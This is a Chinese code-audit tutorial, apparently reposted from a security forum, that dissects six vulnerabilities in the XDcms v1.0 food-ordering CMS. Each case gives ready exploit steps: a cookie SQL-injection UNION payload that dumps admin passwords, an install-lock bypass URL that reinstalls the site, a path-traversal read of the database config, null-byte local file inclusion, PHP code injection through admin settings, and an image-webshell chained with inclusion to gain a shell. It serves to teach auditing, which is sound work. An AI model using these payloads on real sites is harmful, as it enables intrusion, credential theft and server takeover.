实例分析讲解为您敲开代码审计大门

分析目标
XDcms订餐网站系统  v1.0
XDcms订餐网站管理系统,主要使用Php+Mysql+Smarty技术基础进行开发,采用OOP(面向对象)方式进行基础运行框架搭建,集成在线订 餐、团购、积分商城、优惠券、新闻、在线订单、在线支付、生成订单短信/邮箱通知、点评、Google电子地图、问答、并与支付宝、Dz论坛、短信平台接 口完美整合等功能于一体的完全开源的高级订餐网站管理系统。作为国内最受欢迎的PHP类订餐网站系统之一,XDcms在不断提升用户服务、提高产品质量的 同时更加注重用户体验。从系统研发至今,历经了数百次的更新修改后,网站的架设与管理变得更加轻松及便捷。
官网:http://www.xdcms.cn/
下载地址:http://ftp.91736.com/dccms/v1.0/sys/xdcms_dc_v1.0.zip

您将学习到的案例有
1、  COOKIES 注入代码分析与漏洞利用(利用工具的使用);
 
2、  全局变量的覆盖代码分析与漏洞利用;
 
3、  后台任意源码读取;
 
4、  本地包含代码分析与漏洞利用;
 
5、  后台getshell 代码分析 与利用;
 
6、利用二次漏洞拿shell。

案例1
COOKIES注入分析 (为了方便区别代码部分采用贴图,实例代码请大家自己下载源码查看)

文件:/ system/modules/member/index.php

代码:

$userid=$_COOKIE[‘member_userid’];  //用$_COOKIE接收,未做任何过滤

$info=$this->mysql->get_one(“select * from “.DB_PRE.”member where userid=$userid”);
//直接带入到sql中查询。没有单引号不用考虑GPC

利用工具:
火狐浏览器 + EDIT COOKIES插件(下载地址请百度)

利用方法/步骤:
1、/index.php?m=member&f=register 随便注册一个账号并登录;

2、/index.php?m=member&f=edit 进入资料管理页面

3、在浏览器上选择工具 -> EDIT COOKIES插件打开

因为是本地测试所以IP地址为127.0.0.1 找到member_userid  -> 点 EDIT进行编辑
语句:-6 Union seLect 1,2,username,4,5,6,7,8,9,10,11,12,password,14,15 fRom c_admin
-6这个6是你的ID
然后刷新一下直接爆出管理员密码

前几天发的那个今天发现管理员修补了,可是管理员这补的根没补是一样的。

案例二
全局变量的覆盖

文件:/ install/index.php
代码:

代码的意思是把传入的变量数组遍历赋值,比如 $_GET[‘a’]  赋值为 $a
Ok  继续往下看

传入一个insLockfile判断是否存在。问题在这

利用方法:http://www.91ri.org /install/index.php?insLockfile=1  ( 官网演示之)

将直接跳过判断进行安装。
此时安装的sql数据库文件会记录在 /data/config.inc.php
利用poc:找到可外连的 mysql  (自己去爆破)
直接访问此地址
http://www.91ri.org /install/index.php?insLockfile=1&step=4&dbhost=localhost&dbname=xdcms&dbuser=root&dbpwd=&dbpre=c_&dblang=gbk&adminuser=yaseng&adminpwd=90sex
加粗部分填写配置   直接绕过 重装

案例三
后台任意源码读取
漏洞文件:system/modules/xdcm/stemplate.php
初看了下后台木有getShell 的地方,ok 还是来老实审计代码吧。
在xdcms  目录下看到鸟 template  文件,目测是后台模板编辑,访问之

http://127.0.0.1/coder/xdcms/index.php?m=xdcms&c=template

额  xdcms 真心有些贱了,写了模板编辑后台又不实用
访问 http://www.91ri.org/ coder/xdcms/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php

Mysql 连接信息


案例4
本地包含漏洞

文件:/api/index.php
代码:

问题参数$c 有一个safe_replace函数我们追踪一下看看

这个等于没过滤一样的。

利用方法:http://www.91ri.org /api/index.php?c=xxxxxx%00   xxx代表网马地址%00是截断

案例5
后台getshell 代码分析
文件:/ system/modules/xdcms/ setting.php
代码:

又是用foreach来数组遍历附值。这里的$info[‘siteurl’]是没有经过处理就直接写进来了。

利用方法:/index.php?m=xdcms&c=setting

测试我就只加了这个phpinfo      ‘);?><?php phpinfo();?>

效果

因为有单引号,所以这个方法有点鸡肋。

案例6
利用二次漏洞利用配合拿shell

思路:结合案例4的本地包含。再在后台上传一张图片马直接拿下。

效果:
图片马的内容

上传后得到的地址:/uploadfile/image/20120624/xxxxx.jpg

http://127.0.0.1/xxoo/api/index.php?c=../uploadfile/image/20120624/iis7.jpg%00


好了直至到此,代码审计的初级教材也算完结了。

本教材归总一下就是、注入、变量覆盖、任意读取、本地包含、GETSHELL、二次漏洞(也可以叫二次利用)

91ri.org:非常好的一篇代码审计文 我自己本身最近就在研究PHP的代码审计 这文章学习不少 推荐新人仔细阅读!另两篇同类挖0day文章推荐一下:《[挖0day] BlueCMS漏洞大集合》《[挖0day]羊驼CMS 注入及getwebshell

作者是90sec的代码审计小组(转自2cto 没有原文地址 抱歉) 转载自2cto 由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理。